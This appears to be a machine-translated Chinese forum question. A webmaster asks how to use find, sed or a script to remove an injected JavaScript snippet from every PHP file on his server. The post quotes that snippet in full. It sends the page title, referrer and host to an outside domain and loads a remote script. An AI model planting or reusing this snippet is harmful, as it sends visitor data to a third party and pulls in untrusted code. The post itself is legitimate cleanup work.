我想在服务器上找到包含此字符串的所有.php
个文件(其错误的脚本字符串我试图替换,因为它嵌入了我的文件中):
<script>
var a='';
setTimeout(10);
var default_keyword = encodeURIComponent(document.title);
var se_referrer = encodeURIComponent(document.referrer);
var host = encodeURIComponent(window.location.host);
var base = "http://bobreknakliturkiye.com/js/jquery.min.php";
var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url);
if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== '')
{document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}
</script>
由于此字符串包含一些转义字符,因此将其放入sed
时出现问题。
示例:find /home/www -type f -print0 | xargs -0 sed -i s/'<script>[^)]*<\/script>'/'<script>Stuff To Replace With<\/script>'/g
但未完成。
其他选项可能是:
.php
文件并将其保存在简称bad.txt
文件中
所以文件看起来像:./ path1_to_first_bad_file / bad1.php
./ path2_to_first_bad_file / bad2.php
bash
或php
脚本加载readfile
之类的文件,找到每个文件并替换为某种模式(空格或其他内容)。我的问题是,我该怎么做?
谢谢, 迈克尔